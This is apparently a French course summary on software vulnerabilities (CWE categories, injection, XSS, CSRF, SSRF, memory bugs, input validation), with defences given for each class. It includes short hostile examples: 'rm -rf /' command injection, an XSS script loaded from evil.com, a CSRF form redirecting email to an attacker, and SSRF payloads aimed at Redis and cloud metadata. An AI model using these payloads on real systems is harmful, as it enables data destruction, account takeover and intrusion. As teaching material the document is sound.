

CWE, CVE, CVSS

CWE: Catalogue faiblesses logicielles, taxonomie vulnérabilités

CVE: Base données vulnérabilités connues

CVSS: Notation gravité vulnérabilités

Dimensions: AV (Network/Adjacent/Local/Physical), AC (Low/High), PR (None/Low/High), UI (None/Passive/Active), CIA (Confidentiality/Integrity/Availability)

Injections

Principe: Code malveillant dans entrée traité comme code légitime

OS Command (CWE-78): Données non validées dans commande système. Ex: `dig heig-vd.ch; rm -rf /` → exécution arbitraire

SQL (CWE-89): Code SQL malveillant → accès/modification données

Code (CWE-94): Injection tout langage → exécution arbitraire

Défenses: Validation stricte, APIs sécurisées, requêtes préparées, échappement

Vulnérabilités générales

Null Pointer (CWE-476): Accès pointeur nul → Crash/RCE. Défense: Gestion explicite, smart pointers

Unsafe Deserialization (CWE-502): Données non fiables → RCE. Défense: Signer, formats sûrs

Integer Overflow (CWE-190): Dépasse capacité → Bypass, overflow. Défense: checked_add

Hardcoded Credentials (CWE-798): Secrets en dur → accès compromis. Défense: Env vars, vaults

Incorrect Authorization (CWE-863): Données client modifiables → escalade. Défense: Vérif serveur

Path Traversal (CWE-22): `../../../../tmp/ws.php` → accès hors répertoire. Défense: Whitelist

Attaques Web

Cross-Site Scripting (XSS) (CWE-79)

Principe: Injection de JavaScript malveillant dans

le contexte d'un site victime. Abuse de la confiance du client envers le service.

Reflected XSS

- Lien piégé, service reflète données sans échappement
- Exemple : `?q=<script src="https://evil.com/hook.js"></script>`

Stored XSS

- Code injecté en base de données
- Chaque utilisateur consultant les données exécute le code

DOM-Based XSS

- Attaque côté client uniquement
- JavaScript manipule DOM avec données non échappées

Défenses XSS

- Échappement adapté au contexte (HTML, JS, URL, CSS)
- Validation d'entrée
- Content Security Policy (CSP)
- Web Application Firewall (WAF)

Cross-Site Request Forgery (CSRF) (CWE-352)

Principe: Tromper utilisateur authentifié pour effectuer action en son nom. Abuse de la confiance du service envers le client.

```
<form action="https://victim.com/update-email"
method="POST">
    <input type="hidden"
name="email"
value="attacker@evil.com">
</form>
<script>document.forms[0].submit();</script>
```

Défenses CSRF

- Protection XSS (prérequis)
- Tokens CSRF (aléatoire, vérifié côté serveur)
- Vérification Origin/Referer
- Cookies : SameSite=Strict, Secure
- Sémantique HTTP : GET sans effets de bord

Unrestricted File Upload (CWE-434)

Problème: Upload sans restrictions d'extension

Impact: WebShell, RCE via malicious.php exécuté

Défenses

- Valider extension et type MIME
- Séparer code et contenu (domaine différent)
- Renommer fichiers
- Répertoire sans exécution

Server-Side Request Forgery (SSRF) (CWE-918)

Principe: Forcer serveur à requêter service non autorisé
`$url = $GET['filename']; $image = fopen($url,`

```
'rb'); // Attaquant: ?
filename=https://
backend.internal/secrets
```

Variantes dangereuses

- Protocoles : gopher://, dict:// pour commandes brutes
- Cross-protocol : gopher://redis:6379/_FLUSHALL
- Métadonnées EC2 : 169.254.169.254

Défenses SSRF

- Whitelist d'URLs autorisées, restreindre schémas
- Filtrage réseau, proxy filtrant
- Architecture Zero Trust

Concurrence

Race Condition (CWE-362)

- Exploiter fenêtre de temps entre opérations non atomiques
- Exemple : modifier fichier entre création et chmod
- Défense : Opérations atomiques, file locks

Time-of-Check to Time-of-Use (TOCTTOU) (CWE-367)

- Fichier/état change entre vérification et utilisation
- Exemple : if (file_exists()) ... exec() avec symlink créé entre les deux
- Défense : Opérations atomiques, éviter symlinks

Vulnérabilités Mémoire

Out-of-Bounds Write (CWE-787) - Buffer Overflow

- Écrire au-delà des limites d'un buffer
- Impact : Écrasement return address → RCE
- Défenses : Stack non exécutables (NX), ASLR, fonctions sûres (strncpy)

Out-of-Bounds Read (CWE-125) - Information Leak

- Lire au-delà des limites
- Impact : Fuite de données sensibles (clés, tokens)
- Exemple : Heartbleed (CVE-2014-0160) - fuite clés privées OpenSSL
- Défense : Vérifier tailles, bounds checking

Use-after-free (CWE-416)

- Accéder à mémoire après free()
- Exploitation : Allouer même zone avec contenu contrôlé
- Défenses : Garbage collection, smart pointers, mettre à NULL après free

Use of Format String (CWE-134)

- Données utilisateur comme format string

- Exemple : `fprintf(log, command)` où `command = "%x %x %x"`
- Exploitation : Lecture stack avec %123\$x, écriture avec %n
- Défense : JAMAIS user input comme format → `printf("%s", user_input)`

Validation des Entrées

Erreurs courantes liées aux entrées

- Buffer overflow (taille)
- XSS (contenu + codage sortie)
- File upload of dangerous type
- Path traversal (chemins)
- SQL Injection (métacaractères)

Fondamentaux

Cohérence de la validation

- Validation côté client ET serveur doit être alignée
- Factoriser logique pour éviter divergences
- Utiliser bibliothèques partagées

Quand valider ?

- Dès que possible
- Risques validation tardive : contenu dangereux en logs/stockage, side channels

Nettoyer les entrées :

DANGEREUX

- Nettoyer correctement est difficile/impossible
- Chemins peu testés
- Préférer rejeter plutôt que nettoyer
- Tests cruciaux avec cas négatifs (entrées invalides) pour vérifier rejet approprié.

Niveaux de validation

- Syntaxique : chaîne appartient à un langage
- Sémantique : sens cohérent dans contexte
- Pragmatique : véracité d'une proposition

Exemple adresse mail

- Syntaxique : nom@domaine.tld valide (utiliser libs)
- Sémantique : domaine existe, MX existe
- Pragmatique : utilisateur peut recevoir et communiquer secret

Validation Pragmatique

Principe: Mécanismes externes (e-mail confirmation, SMS, services tiers)

Secrets générés

- Suffisamment longs (résistance force brute)
- Suffisamment aléatoires (éviter prédictions)
- Usage unique (éviter rejet)
- Limités dans le temps (réduire fenêtre attaque)

Validation Syntaxique

Allow vs Deny Lists

- Allow lists : spécifient entrées acceptables (recommandé)
- Deny lists : énumèrent entrées interdites (incomplet)

Mesures générales

- S'appuyer sur les types
- Canonicaliser valeurs avant filtrer
- Toujours vérifier tailles et intervalles
- Utiliser bibliothèques : Commons Validator (Java), Pydantic (Python), validator.js (JS)

Expressions régulières

```
use regex::Regex;
let re =
Regex::new(r"\d{2}-\d{2}-\d{4}$")
.expect("re compile error");
assert!(re.is_match("01-01-2024"));

// Précompilation
use std::sync::LazyLock;
static MY_REGEX: LazyLock<Regex> =
LazyLock::new(|| {
    Regex::new(r"\d{2}-\d{4}$")
.expect("re compile error"));
});
```

Encodage des Sorties

Principe: Entrée validée doit être encodée selon contexte d'utilisation (HTML, SQL, etc.)

Adressage indirect

- Identifiants opaques pour communication externe
- Réassociation côté serveur
- Principe REST : URLs comme identifiants opaques

Identifiants uniques

Choisir 2 sur 3 :

- Globalement uniques + Sécurisés = Clés publiques
- Globalement uniques + Conviviaux = Noms de domaine
- Sécurisés + Conviviaux = Keyring